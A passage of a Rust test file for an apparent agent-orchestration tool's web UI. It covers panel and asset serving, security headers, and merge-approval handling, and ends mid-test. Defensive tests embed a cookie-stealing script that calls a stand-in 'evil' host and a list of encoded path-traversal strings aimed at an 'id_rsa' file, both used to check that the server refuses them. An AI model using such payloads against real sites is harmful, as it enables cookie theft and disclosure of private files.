12082 addr: SocketAddr,
12083 path: &str,
12084 headers: &[(&str, &str)],
12085 body: &[u8],
12086 ) -> Res {
12087 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12088 for (name, value) in headers {
12089 head.push_str(&format!("{name}: {value}\r\n"));
12090 }
12091 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12092 let mut socket = tokio::net::TcpStream::connect(addr)
12093 .await
12094 .expect("connect to the test server");
12095 socket
12096 .write_all(head.as_bytes())
12097 .await
12098 .expect("write request head");
12099 socket.write_all(body).await.expect("write request body");
12100 let mut raw = Vec::new();
12101 socket.read_to_end(&mut raw).await.expect("read response");
12102 let split = raw
12103 .windows(4)
12104 .position(|w| w == b"\r\n\r\n")
12105 .expect("a header block");
12106 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12107 let bytes = raw[split + 4..].to_vec();
12108 let status = head
12109 .lines()
12110 .next()
12111 .and_then(|line| line.split_whitespace().nth(1))
12112 .and_then(|code| code.parse().ok())
12113 .expect("a status line");
12114 Res {
12115 status,
12116 headers: head.to_lowercase(),
12117 head,
12118 body: String::from_utf8_lossy(&bytes).into_owned(),
12119 bytes,
12120 }
12121 }
12122
12123 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12125 let mut state = RunState::new(
12126 PathBuf::from("/repo/magi"),
12127 "main".to_owned(),
12128 "0123456789abcdef".to_owned(),
12129 "Add a web UI\n\nMobile first.".to_owned(),
12130 Config::default(),
12131 );
12132 state.id = id.to_owned();
12133 state.status = status;
12134 let dir = runs.join(id);
12135 std::fs::create_dir_all(&dir).expect("run dir");
12136 std::fs::write(
12137 dir.join("run.json"),
12138 serde_json::to_string_pretty(&state).expect("serialize run"),
12139 )
12140 .expect("write run.json");
12141 }
12142
12143 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12147 let mut state = RunState::new(
12148 PathBuf::from(repo),
12149 "main".to_owned(),
12150 "0123456789abcdef".to_owned(),
12151 "task".to_owned(),
12152 Config::default(),
12153 );
12154 state.id = id.to_owned();
12155 state.status = status;
12156 let dir = runs.join(id);
12157 std::fs::create_dir_all(&dir).expect("run dir");
12158 std::fs::write(
12159 dir.join("run.json"),
12160 serde_json::to_string_pretty(&state).expect("serialize run"),
12161 )
12162 .expect("write run.json");
12163 }
12164
12165 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12166 let body = serde_json::json!({
12167 "schema": 1,
12168 "pid": 4242,
12169 "started_at": Timestamp::now().to_string(),
12170 "updated_at": updated_at.to_string(),
12171 "idle": false,
12172 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12173 "completed": 7,
12174 "polls": 143,
12175 });
12176 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12177 }
12178
12179 fn launch_idle(
12189 _opts: daemon::Opts,
12190 stop: daemon::Stop,
12191 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12192 Box::pin(async move {
12193 while !stop.stopped() {
12194 tokio::time::sleep(Duration::from_millis(2)).await;
12195 }
12196 Ok(())
12197 })
12198 }
12199
12200 fn launch_broken(
12203 _opts: daemon::Opts,
12204 _stop: daemon::Stop,
12205 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12206 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12211 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12212 Box::pin(async move {
12213 Err(anyhow::anyhow!(if first {
12214 "publish the daemon status file: read-only file system"
12215 } else {
12216 "the restarted stand-in failed as well"
12217 }))
12218 })
12219 }
12220
12221 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12230 for _ in 0..SETTLE_STEPS {
12231 let view = fx.get("/api/loop").await.json();
12232 if want(&view) {
12233 return view;
12234 }
12235 tokio::time::sleep(Duration::from_millis(10)).await;
12236 }
12237 panic!(
12238 "the loop never settled: {}",
12239 fx.get("/api/loop").await.json()
12240 );
12241 }
12242
12243 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12245 let store = fx.questions();
12246 let mut q = Question::new(
12247 "20260902-000000-beef".to_owned(),
12248 "implement".to_owned(),
12249 "impl-A".to_owned(),
12250 summary.to_owned(),
12251 "because it matters".to_owned(),
12252 choices.iter().map(|c| (*c).to_owned()).collect(),
12253 );
12254 store.put(&mut q).expect("put question");
12255 q.id
12256 }
12257
12258 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12264 let store = fx.questions();
12265 let mut q = Question::new(
12266 "20260902-000000-beef".to_owned(),
12267 "land".to_owned(),
12268 "fix".to_owned(),
12269 "Merge this?".to_owned(),
12270 "the diff is in the panel".to_owned(),
12271 vec!["merge".to_owned(), "hold".to_owned()],
12272 );
12273 let staging = fx.home.path().join("staging");
12276 std::fs::create_dir_all(&staging).expect("staging dir");
12277 let sources: Vec<PathBuf> = assets
12278 .iter()
12279 .map(|(name, bytes)| {
12280 let path = staging.join(name);
12281 std::fs::write(&path, bytes).expect("write staged asset");
12282 path
12283 })
12284 .collect();
12285 store
12286 .put_panel(&mut q, html, &sources)
12287 .expect("write the panel");
12288 store.put(&mut q).expect("put question");
12289 q.id
12290 }
12291
12292 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12301 seed_talk_at(&fx.talks(), id, status)
12302 }
12303
12304 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12305 std::fs::create_dir_all(store.root()).expect("talks dir");
12306 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12307 .expect("serialize a seat");
12308 let body = serde_json::json!({
12309 "schema": 1,
12310 "id": id,
12311 "repo": "/repo/magi",
12312 "agent": "mock",
12313 "status": status,
12314 "turns": [],
12315 "created_at": Timestamp::now().to_string(),
12316 "updated_at": Timestamp::now().to_string(),
12317 "seat": seat,
12318 });
12319 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12320 store.get(id).expect("the seeded talk has to be readable");
12321 id.to_owned()
12322 }
12323
12324 #[tokio::test]
12325 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12326 let fx = Fixture::start().await;
12327 let id = panel(
12328 &fx,
12329 "<h1>Merge?</h1><img src=\"diff.svg\">",
12330 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12331 );
12332
12333 for path in [
12334 format!("/api/questions/{id}/panel"),
12335 format!("/api/questions/{id}/asset/diff.svg"),
12336 ] {
12337 let res = fx.get(&path).await;
12338 assert_eq!(res.status, 200, "{path}: {}", res.body);
12339 assert_eq!(
12345 res.header("content-security-policy"),
12346 Some(
12347 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12348 font-src data:; base-uri 'none'; form-action 'none'; \
12349 frame-ancestors 'self'"
12350 ),
12351 "{path} is the only thing between a hostile panel and the tailnet"
12352 );
12353 assert_eq!(
12354 res.header("x-content-type-options"),
12355 Some("nosniff"),
12356 "{path}: a browser must not re-decide the type we sent"
12357 );
12358 assert_eq!(
12359 res.header("referrer-policy"),
12360 Some("no-referrer"),
12361 "{path}: a panel must not leak the question id off the machine"
12362 );
12363
12364 let pre = fx.head(&path).await;
12369 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12370 assert_eq!(
12371 pre.header("content-security-policy"),
12372 res.header("content-security-policy"),
12373 "{path}: the preflight carries the same policy"
12374 );
12375 assert_eq!(
12376 pre.header("content-type"),
12377 res.header("content-type"),
12378 "{path}: the preflight carries the same type"
12379 );
12380 }
12381 }
12382
12383 #[tokio::test]
12384 async fn a_panel_reaches_the_browser_byte_for_byte() {
12385 let fx = Fixture::start().await;
12386 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
12391 let id = panel(&fx, html, &[]);
12392
12393 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12394
12395 assert_eq!(res.status, 200);
12396 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12397 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12398 assert_eq!(
12399 res.header("content-disposition"),
12400 None,
12401 "the panel itself is rendered in the frame, not downloaded"
12402 );
12403 }
12404
12405 #[tokio::test]
12406 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12407 let fx = Fixture::start().await;
12408 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12409 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12410 let id = panel(
12411 &fx,
12412 "<img src=\"diff.svg\"><img src=\"shot.png\">",
12413 &[("diff.svg", svg), ("shot.png", png)],
12414 );
12415
12416 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12417 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12418
12419 assert_eq!(as_svg.status, 200);
12420 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12421 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12426
12427 assert_eq!(as_png.status, 200);
12428 assert_eq!(as_png.header("content-type"), Some("image/png"));
12429 assert_eq!(
12430 as_png.header("content-disposition"),
12431 None,
12432 "a raster image has no execution surface, so tapping it still shows it"
12433 );
12434 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12435 }
12436
12437 #[tokio::test]
12438 async fn an_html_asset_is_never_served_as_html() {
12439 let fx = Fixture::start().await;
12440 let id = panel(
12441 &fx,
12442 "<p>see the notes</p>",
12443 &[
12444 (
12445 "notes.html",
12446 b"<script>fetch('http://evil/'+document.cookie)</script>",
12447 ),
12448 ("hook.js", b"fetch('http://evil/')"),
12449 ("data.json", b"{}"),
12450 ("HEADLINE.TXT", b"plain"),
12451 ],
12452 );
12453
12454 for name in ["notes.html", "hook.js", "data.json"] {
12455 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12456 assert_eq!(res.status, 200, "{name}: {}", res.body);
12457 assert_eq!(
12462 res.header("content-type"),
12463 Some("application/octet-stream"),
12464 "{name} must not be a type the browser will execute or render"
12465 );
12466 }
12467 let txt = fx
12470 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12471 .await;
12472 assert_eq!(
12473 txt.header("content-type"),
12474 Some("text/plain; charset=utf-8")
12475 );
12476 }
12477
12478 #[tokio::test]
12479 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12480 let fx = Fixture::start().await;
12481 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12482 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12486
12487 for encoded in [
12494 "%2e%2e%2fid_rsa",
12495 "..%2fid_rsa",
12496 "..%5cid_rsa",
12497 "%2e%2e%5cid_rsa",
12498 "diff%00.svg",
12499 "..",
12500 ".hidden",
12501 "%2e%2e%2f%2e%2e%2fid_rsa",
12502 ] {
12503 let res = fx
12504 .get(&format!("/api/questions/{id}/asset/{encoded}"))
12505 .await;
12506 assert_eq!(
12507 res.status, 400,
12508 "`{encoded}` has to be refused by name, not looked up: {}",
12509 res.body
12510 );
12511 assert!(res.json()["error"].is_string(), "{}", res.body);
12512 }
12513
12514 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12520 let res = fx
12521 .get(&format!("/api/questions/{id}/asset/{literal}"))
12522 .await;
12523 assert_eq!(
12524 res.status, 404,
12525 "`{literal}` must not match the asset route at all: {}",
12526 res.body
12527 );
12528 }
12529 }
12530
12531 #[tokio::test]
12532 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12533 let fx = Fixture::start().await;
12534 let plain = ask(&fx, "Which backend?", &["SQLite"]);
12535 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12536
12537 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12541 assert_eq!(none.status, 404, "{}", none.body);
12542 assert!(none.json()["error"].is_string(), "{}", none.body);
12543 assert_eq!(
12544 fx.head(&format!("/api/questions/{plain}/panel"))
12545 .await
12546 .status,
12547 404,
12548 "the preflight is the only way the client can learn this"
12549 );
12550
12551 let missing = fx
12553 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12554 .await;
12555 assert_eq!(missing.status, 404, "{}", missing.body);
12556 assert!(missing.json()["error"].is_string(), "{}", missing.body);
12557
12558 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12560 assert_eq!(
12561 fx.get("/api/questions/nope/asset/diff.svg").await.status,
12562 404
12563 );
12564 }
12565
12566 #[tokio::test]
12567 async fn a_run_with_an_open_question_reads_as_waiting() {
12568 let fx = Fixture::start().await;
12569 let run = "20260902-000000-beef".to_owned();
12570 write_run(&fx.runs(), &run, RunStatus::Implementing);
12571
12572 let before = fx.get("/api/runs").await.json();
12573 assert_eq!(before[0]["waiting"], false, "{before}");
12574
12575 let store = fx.questions();
12576 let mut q = Question::new(
12577 run.clone(),
12578 "implement".to_owned(),
12579 "impl-A".to_owned(),
12580 "Which backend?".to_owned(),
12581 String::new(),
12582 vec!["SQLite".to_owned()],
12583 );
12584 store.put(&mut q).expect("put");
12585
12586 let during = fx.get("/api/runs").await.json();
12587 assert_eq!(during[0]["waiting"], true, "{during}");
12588
12589 q.answer(Answer::Choice("SQLite".to_owned()))
12592 .expect("answer");
12593 store.put(&mut q).expect("put");
12594 let after = fx.get("/api/runs").await.json();
12595 assert_eq!(after[0]["waiting"], false, "{after}");
12596 }
12597
12598 #[tokio::test]
12599 async fn an_open_question_is_listed_and_counted_by_health() {
12600 let fx = Fixture::start().await;
12601 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12602
12603 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12604 let listed = fx.get("/api/questions").await.json();
12605 assert_eq!(listed.as_array().expect("array").len(), 1);
12606 assert_eq!(listed[0]["id"], id);
12607 assert_eq!(listed[0]["status"], "open");
12608 assert_eq!(listed[0]["choices"][1], "Redis");
12609 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12612 }
12613
12614 fn obsolete_approval_state() -> RunState {
12615 let mut state = crate::land::tests::repair_state(true, true);
12616 state.pr = Some(crate::run::PrRecord {
12617 url: "https://github.com/example/repo/pull/42".into(),
12618 number: 42,
12619 state: "open".into(),
12620 checks: "green".into(),
12621 round: 1,
12622 rounds: 4,
12623 red_at_merge: Vec::new(),
12624 });
12625 state
12626 }
12627
12628 #[tokio::test]
12629 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12630 for owner in ["missing", "current", "completed", "later"] {
12631 let fx = Fixture {
12632 home: TempDir::new().unwrap(),
12633 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12634 };
12635 let mut state = obsolete_approval_state();
12636 state.status = RunStatus::Landing;
12637 state.parked = true;
12638 state.driver_exited = true;
12639 let mut q = Question::new(
12640 state.id.clone(),
12641 crate::land::APPROVAL_NODE.into(),
12642 "land".into(),
12643 "Old approval".into(),
12644 "Original evidence".into(),
12645 vec!["merge".into(), "hold".into()],
12646 );
12647 state.land_approval = Some(crate::run::LandApproval {
12648 question: q.id.clone(),
12649 head: "head".into(),
12650 });
12651 state.save_under(fx.home.path()).unwrap();
12652 let stale = state.clone();
12653 fx.questions().put(&mut q).unwrap();
12654 let mut task = Task::new(
12655 "Owner".into(),
12656 "Original instruction".into(),
12657 state.repo.clone(),
12658 Source::Human,
12659 );
12660 task.runs.push(state.id.clone());
12661 task.status = if owner == "completed" {
12662 TaskStatus::Done
12663 } else {
12664 TaskStatus::Parked
12665 };
12666 if owner == "later" {
12667 task.runs.push("later-run".into());
12668 }
12669 if owner != "missing" {
12670 fx.queue().put(&mut task).unwrap();
12671 }
12672 let ui = Arc::new(Ui::new(
12673 fx.queue(),
12674 fx.questions(),
12675 fx.talks(),
12676 fx.runs(),
12677 fx.home.path().into(),
12678 state.repo.clone(),
12679 ));
12680 let response = question_answer(
12681 State(ui),
12682 Path(q.id.clone()),
12683 Ok(Json(NewAnswer {
12684 choice: Some(crate::merge_decision::DISMISS.into()),
12685 text: None,
12686 ..Default::default()
12687 })),
12688 )
12689 .await
12690 .unwrap();
12691 assert_eq!(
12692 response.0.question.resolution().as_deref(),
12693 Some(crate::merge_decision::DISMISS)
12694 );
12695 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12696 assert_eq!(disk.status, RunStatus::Superseded);
12697 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12698 assert!(!crate::merge_decision::resumable_hold(&disk));
12699 assert_eq!(
12700 serde_json::to_value(&disk.pr).unwrap(),
12701 serde_json::to_value(&stale.pr).unwrap()
12702 );
12703 assert_eq!(fx.questions().count_open(), 0);
12704 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12705 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12706 if owner == "missing" {
12707 assert!(fx.queue().list().is_empty());
12708 } else {
12709 let after = fx.queue().get(&task.id).unwrap();
12710 assert_eq!(
12711 after.status,
12712 if owner == "current" {
12713 TaskStatus::Done
12714 } else {
12715 task.status
12716 }
12717 );
12718 assert_eq!(after.runs, task.runs);
12719 assert_eq!(after.instruction, task.instruction);
12720 assert_eq!(after.action_applied(&q.id), owner == "current");
12721 }
12722 }
12723 }
12724
12725 #[tokio::test]
12726 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12727 let fx = Fixture::start().await;
12728 let mut state = obsolete_approval_state();
12729 state.status = RunStatus::Landing;
12730 state.parked = true;
12731 state.driver_exited = true;
12732 let mut q = Question::new(
12733 state.id.clone(),
12734 crate::land::APPROVAL_NODE.into(),
12735 "land".into(),
12736 "Superseded PR approval".into(),
12737 "Original review evidence".into(),
12738 vec!["merge".into(), "hold".into()],
12739 );
12740 state.land_approval = Some(crate::run::LandApproval {
12741 question: q.id.clone(),
12742 head: "old-reviewed-head".into(),
12743 });
12744 state.save_under(fx.home.path()).unwrap();
12747 let stale_driver = state.clone();
12748 fx.questions().put(&mut q).unwrap();
12749 let path = fx
12750 .home
12751 .path()
12752 .join("questions")
12753 .join(format!("{}.json", q.id));
12754 let mut legacy = serde_json::to_value(&q).unwrap();
12755 legacy["schema"] = 9.into();
12756 legacy.as_object_mut().unwrap().remove("merge_target");
12757 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12758
12759 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12762 let answer_path = format!("/api/questions/{}/answer", q.id);
12763 let res = fx.post(&answer_path, Some(&body)).await;
12764 assert_eq!(res.status, 200, "{}", res.body);
12765 let disk = fx.questions().get(&q.id).unwrap();
12766 assert_eq!(
12767 disk.resolution().as_deref(),
12768 Some(crate::merge_decision::DISMISS)
12769 );
12770 assert!(disk.detail.starts_with("Original review evidence"));
12771 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12772 assert_eq!(retired.status, RunStatus::Superseded);
12773 assert_eq!(
12774 serde_json::to_value(&retired.pr).unwrap(),
12775 serde_json::to_value(&state.pr).unwrap()
12776 );
12777 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12778 assert!(!crate::merge_decision::resumable_hold(&retired));
12779 assert!(fx.queue().list().is_empty());
12780 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12781 let addr = Fixture::serve(
12783 fx.home.path(),
12784 PathBuf::from("/repo/magi"),
12785 launch_idle,
12786 None,
12787 )
12788 .await;
12789 let reconnected = Fixture {
12790 home: fx.home,
12791 addr,
12792 };
12793 let listed = reconnected.get("/api/questions").await.json();
12794 assert!(
12795 listed
12796 .as_array()
12797 .unwrap()
12798 .iter()
12799 .all(|q| q["status"] != "open")
12800 );
12801 assert_eq!(listed[0]["id"], q.id, "history remains available");
12802 assert_eq!(
12803 reconnected.get("/api/health").await.json()["questions_open"],
12804 0
12805 );
12806 assert_eq!(
12807 reconnected
12808 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12809 .await
12810 .status,
12811 409
12812 );
12813 assert!(
12815 reconnected
12816 .questions()
12817 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12818 .is_err()
12819 );
12820 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12823 }
12824
12825 #[tokio::test]
12826 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12827 let fx = Fixture::start().await;
12828 let mut state = obsolete_approval_state();
12829 state.status = RunStatus::Landing;
12830 state.driver_exited = true;
12831 let mut q = Question::new(
12832 state.id.clone(),
12833 crate::land::APPROVAL_NODE.into(),
12834 "land".into(),
12835 "Obsolete approval".into(),
12836 String::new(),
12837 vec!["merge".into(), "hold".into()],
12838 );
12839 state.land_approval = Some(crate::run::LandApproval {
12840 question: q.id.clone(),
12841 head: "head".into(),
12842 });
12843 state.save_under(fx.home.path()).unwrap();
12844 fx.questions().put(&mut q).unwrap();
12845 let mut task = Task::new(
12846 "Owner".into(),
12847 "Original instruction".into(),
12848 state.repo.clone(),
12849 Source::Human,
12850 );
12851 task.runs = vec![state.id.clone(), "later-run".into()];
12852 fx.queue().put(&mut task).unwrap();
12853 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12854 let claim = fx.queue().claim(&task.id).unwrap();
12855 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12856 let path = format!("/api/questions/{}/answer", q.id);
12857 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12858 assert!(fx.questions().get(&q.id).unwrap().status.open());
12859 drop(claim);
12860 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12861 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12862 assert!(fx.questions().get(&q.id).unwrap().status.open());
12863 drop(publication);
12864 state.driver_exited = false;
12866 state.driver_pid = None;
12867 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12869 assert_eq!(
12870 state.liveness_under(fx.home.path(), false),
12871 crate::run::Liveness::Unknown
12872 );
12873
12874 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12875 state.driver_exited = true;
12876 state.land_armed_head = Some("head".into());
12877 state.save_under(fx.home.path()).unwrap();
12878 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12879 state.land_armed_head = None;
12880 state.save_under(fx.home.path()).unwrap();
12881 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12882 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12883 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12884 }
12885
12886 #[tokio::test]
12887 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12888 let fx = Fixture::start().await;
12889 let mut state = obsolete_approval_state();
12890 state.status = RunStatus::Landing;
12891 state.driver_exited = true;
12892 let mut q = Question::new(
12893 state.id.clone(),
12894 crate::land::APPROVAL_NODE.into(),
12895 "land".into(),
12896 "Obsolete approval".into(),
12897 String::new(),
12898 vec!["merge".into(), "hold".into()],
12899 );
12900 state.land_approval = Some(crate::run::LandApproval {
12901 question: q.id.clone(),
12902 head: "head".into(),
12903 });
12904 state.save_under(fx.home.path()).unwrap();
12905 fx.questions().put(&mut q).unwrap();
12906 let mut task = Task::new(
12907 "Owner".into(),
12908 "Original instruction".into(),
12909 state.repo.clone(),
12910 Source::Human,
12911 );
12912 task.runs.push(state.id.clone());
12913 task.status = TaskStatus::Parked;
12914 fx.queue().put(&mut task).unwrap();
12915 state.merge_decision = Some(crate::merge_decision::Decision {
12918 question: q.id.clone(),
12919 target: crate::merge_decision::Target {
12920 pr: state.pr.as_ref().unwrap().url.clone(),
12921 head: "head".into(),
12922 language: "ja".into(),
12923 },
12924 choice: crate::merge_decision::DISMISS.into(),
12925 closed: false,
12926 replacement_run: None,
12927 replacement_pr: None,
12928 });
12929 state.status = RunStatus::Superseded;
12930 state.save_under(fx.home.path()).unwrap();
12931 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12932 let path = format!("/api/questions/{}/answer", q.id);
12933 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12934 let done = fx.queue().get(&task.id).unwrap();
12935 assert_eq!(done.status, TaskStatus::Done);
12936 assert_eq!(done.runs, task.runs);
12937 assert_eq!(done.instruction, task.instruction);
12938 assert!(done.action_applied(&q.id));
12939 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12940 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12941 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12942 }
12943
12944 #[tokio::test]
12945 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12946 let home = TempDir::new().unwrap();
12947 let ui = Arc::new(Ui::new(
12948 Queue::at(home.path().join("queue")),
12949 Questions::at(home.path().join("questions")),
12950 Talks::at(home.path().join("talks")),
12951 home.path().join("runs"),
12952 home.path().to_owned(),
12953 home.path().to_owned(),
12954 ));
12955 let talks = &ui.talks;
12956 let chat =
12957 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12958 let mut q = Question::new(
12959 "run".into(),
12960 crate::land::APPROVAL_NODE.into(),
12961 "land".into(),
12962 "Merge?".into(),
12963 String::new(),
12964 vec!["merge".into(), "hold".into()],
12965 );
12966 q.routed_task = Some("task".into());
12967 q.routed_chat = Some(chat.id.clone());
12968 q.merge_target = Some(crate::merge_decision::Target {
12969 pr: "https://example.test/pull/1".into(),
12970 head: "head-a".into(),
12971 language: "en".into(),
12972 });
12973 ui.questions.put(&mut q).unwrap();
12974 let send = |body| {
12975 question_answer(
12976 State(ui.clone()),
12977 Path(q.id.clone()),
12978 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12979 )
12980 };
12981 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12982 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12983 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12984 assert!(send(wrong_chat).await.is_err());
12985 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12986 assert!(send(stale).await.is_err());
12987 assert!(ui.questions.get(&q.id).unwrap().status.open());
12988 assert!(send(button.clone()).await.is_ok());
12989 assert_eq!(
12990 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12991 Some("merge")
12992 );
12993 assert!(send(button).await.is_err());
12994 }
12995
12996 #[tokio::test]
12997 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12998 let home = TempDir::new().unwrap();
12999 let ui = Arc::new(Ui::new(
13000 Queue::at(home.path().join("queue")),
13001 Questions::at(home.path().join("questions")),
13002 Talks::at(home.path().join("talks")),
13003 home.path().join("runs"),
13004 home.path().to_owned(),
13005 home.path().to_owned(),
13006 ));
13007 for choice in [crate::land::APPROVE, crate::land::HOLD] {
13008 let mut q = Question::new(
13009 "run".into(),
13010 crate::land::APPROVAL_NODE.into(),
13011 "land".into(),
13012 "Merge?".into(),
13013 String::new(),
13014 vec!["merge".into(), choice.into()],
13015 );
13016 q.routed_task = Some("task".into());
13017 q.merge_target = Some(crate::merge_decision::Target {
13018 pr: "https://example.test/pull/1".into(),
13019 head: "head-a".into(),
13020 language: "en".into(),
13021 });
13022 ui.questions.put(&mut q).unwrap();
13023 let answer = |c: &str| {
13024 question_answer(
13025 State(ui.clone()),
13026 Path(q.id.clone()),
13027 Ok(Json(
13028 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13029 .unwrap(),
13030 )),
13031 )
13032 };
13033 let _ = answer(choice).await.unwrap();
13034 assert_eq!(
13035 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13036 Some(choice)
13037 );
13038 }
13039 }
13040
13041 #[tokio::test]
13042 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13043 let home = TempDir::new().unwrap();
13044 let ui = Arc::new(Ui::new(
13045 Queue::at(home.path().join("queue")),
13046 Questions::at(home.path().join("questions")),
13047 Talks::at(home.path().join("talks")),
13048 home.path().join("runs"),
13049 home.path().to_owned(),
13050 home.path().to_owned(),
13051 ));
13052 let mut q = Question::new(
13053 "run".into(),
13054 crate::github_text::ASK_NODE.into(),
13055 "posting-gate".into(),
13056 "Post?".into(),
13057 String::new(),
13058 vec!["use fallback".into()],
13059 );
13060 q.routed_task = Some("task".into());
13061 ui.questions.put(&mut q).unwrap();
13062 let sent = question_answer(
13063 State(ui.clone()),
13064 Path(q.id.clone()),
13065 Ok(Json(
13066 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13067 .unwrap(),
13068 )),
13069 )
13070 .await;
13071 let _ = sent.unwrap();
13072 assert_eq!(
13073 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13074 Some("use fallback")
13075 );
13076 }
13077
13078 #[tokio::test]
13079 async fn merge_decision_api_persists_exact_target_and_selected_action() {
13080 let fx = Fixture {
13081 home: TempDir::new().unwrap(),
13082 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13083 };
13084 for choice in [
13085 crate::land::HOLD,
13086 crate::land::REPAIR,
13087 crate::land::APPROVE,
13088 crate::merge_decision::WITHDRAW,
13089 "reimplement:beta",
13090 ] {
13091 let mut q = Question::new(
13092 "old-run".into(),
13093 crate::land::APPROVAL_NODE.into(),
13094 "land".into(),
13095 "Decision".into(),
13096 "Review findings".into(),
13097 vec![
13098 "merge".into(),
13099 "hold".into(),
13100 crate::land::REPAIR.into(),
